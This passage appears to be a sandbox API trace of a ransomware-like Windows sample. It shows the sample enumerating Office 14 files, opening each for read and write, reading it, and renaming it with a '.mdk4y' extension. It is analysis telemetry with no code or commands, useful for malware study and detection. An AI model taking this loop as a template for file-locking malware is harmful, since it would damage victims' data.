MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.mdk4y")) returned 1 [0202.038] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.041] AreFileApisANSI () returned 1 [0202.041] GetACP () returned 0x4e4 [0202.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_F_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_F_COL.HXKT_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0202.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827727200000) returned 1 [0202.042] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0202.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827727300000) returned 1 [0202.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827727300000) returned 1 [0202.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.mdk4y")) returned 1 [0202.045] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.045] AreFileApisANSI () returned 1 [0202.045] GetACP () returned 0x4e4 [0202.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_K_COL.HXK", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 15 [0202.045] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827727600000) returned 1 [0202.046] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0202.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827727700000) returned 1 [0202.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827727700000) returned 1 [0202.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.mdk4y")) returned 1 [0202.049] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.049] AreFileApisANSI () returned 1 [0202.049] GetACP () returned 0x4e4 [0202.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_PRM.HXS", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_PRM.HXSXK", lpUsedDefaultChar=0x37df4c) returned 13 [0202.049] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827728000000) returned 1 [0202.050] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0202.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827731400000) returned 1 [0202.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827731400000) returned 1 [0202.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.mdk4y")) returned 1 [0202.168] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.168] AreFileApisANSI () returned 1 [0202.168] GetACP () returned 0x4e4 [0202.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_PRM_COL.HXC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_PRM_COL.HXCK_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0202.169] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740000000) returned 1 [0202.170] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x281, lpOverlapped=0x0) returned 1 [0202.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740100000) returned 1 [0202.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740100000) returned 1 [0202.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.mdk4y")) returned 1 [0202.172] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.172] AreFileApisANSI () returned 1 [0202.172] GetACP () returned 0x4e4 [0202.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_PRM_COL.HXT", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_PRM_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 17 [0202.172] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740200000) returned 1 [0202.173] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd1, lpOverlapped=0x0) returned 1 [0202.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740300000) returned 1 [0202.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740300000) returned 1 [0202.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.mdk4y")) returned 1 [0202.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.174] AreFileApisANSI () returned 1 [0202.174] GetACP () returned 0x4e4 [0202.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_PRM_F_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_PRM_F_COL.HXKCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0202.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740500000) returned 1 [0202.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0202.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740600000) returned 1 [0202.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740600000) returned 1 [0202.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.mdk4y")) returned 1 [0202.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.177] AreFileApisANSI () returned 1 [0202.177] GetACP () returned 0x4e4 [0202.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_PRM_K_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_PRM_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0202.177] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740700000) returned 1 [0202.178] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0202.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740800000) returned 1 [0202.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827740800000) returned 1 [0202.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.mdk4y")) returned 1 [0202.180] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.180] AreFileApisANSI () returned 1 [0202.180] GetACP () returned 0x4e4 [0202.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_STD.HXS", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_STD.HXSOL.HXK", lpUsedDefaultChar=0x37df4c) returned 13 [0202.180] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827741000000) returned 1 [0202.180] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0202.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827745300000) returned 1 [0202.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827745400000) returned 1 [0202.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.mdk4y")) returned 1 [0202.233] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.233] AreFileApisANSI () returned 1 [0202.233] GetACP () returned 0x4e4 [0202.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_STD_COL.HXC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_STD_COL.HXCXK", lpUsedDefaultChar=0x37df4c) returned 17 [0202.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827746500000) returned 1 [0202.235] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x281, lpOverlapped=0x0) returned 1 [0202.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827746600000) returned 1 [0202.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827746600000) returned 1 [0202.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.mdk4y")) returned 1 [0202.237] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.237] AreFileApisANSI () returned 1 [0202.237] GetACP () returned 0x4e4 [0202.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_STD_COL.HXT", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_STD_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 17 [0202.237] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827746800000) returned 1 [0202.238] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd1, lpOverlapped=0x0) returned 1 [0202.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827746900000) returned 1 [0202.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827746900000) returned 1 [0202.239] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.mdk4y")) returned 1 [0202.240] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.240] AreFileApisANSI () returned 1 [0202.240] GetACP () returned 0x4e4 [0202.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_STD_F_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_STD_F_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0202.240] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747100000) returned 1 [0202.241] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0202.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747200000) returned 1 [0202.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747200000) returned 1 [0202.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.mdk4y")) returned 1 [0202.243] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.243] AreFileApisANSI () returned 1 [0202.243] GetACP () returned 0x4e4 [0202.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_STD_K_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_STD_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0202.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747300000) returned 1 [0202.243] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0202.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747400000) returned 1 [0202.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747400000) returned 1 [0202.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.mdk4y")) returned 1 [0202.245] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.245] AreFileApisANSI () returned 1 [0202.245] GetACP () returned 0x4e4 [0202.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISUTILS.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISUTILS.VSLCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0202.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827747600000) returned 1 [0202.246] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc570, lpOverlapped=0x0) returned 1 [0202.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827749700000) returned 1 [0202.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827749800000) returned 1 [0202.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.mdk4y")) returned 1 [0202.270] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.270] AreFileApisANSI () returned 1 [0202.270] GetACP () returned 0x4e4 [0202.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISWEB.VSL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISWEB.VSLSL", lpUsedDefaultChar=0x37df4c) returned 10 [0202.270] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827750200000) returned 1 [0202.310] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10b88, lpOverlapped=0x0) returned 1 [0202.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827757400000) returned 1 [0202.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827757400000) returned 1 [0202.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.mdk4y" (normalized: "c:\\program files\\microsoft 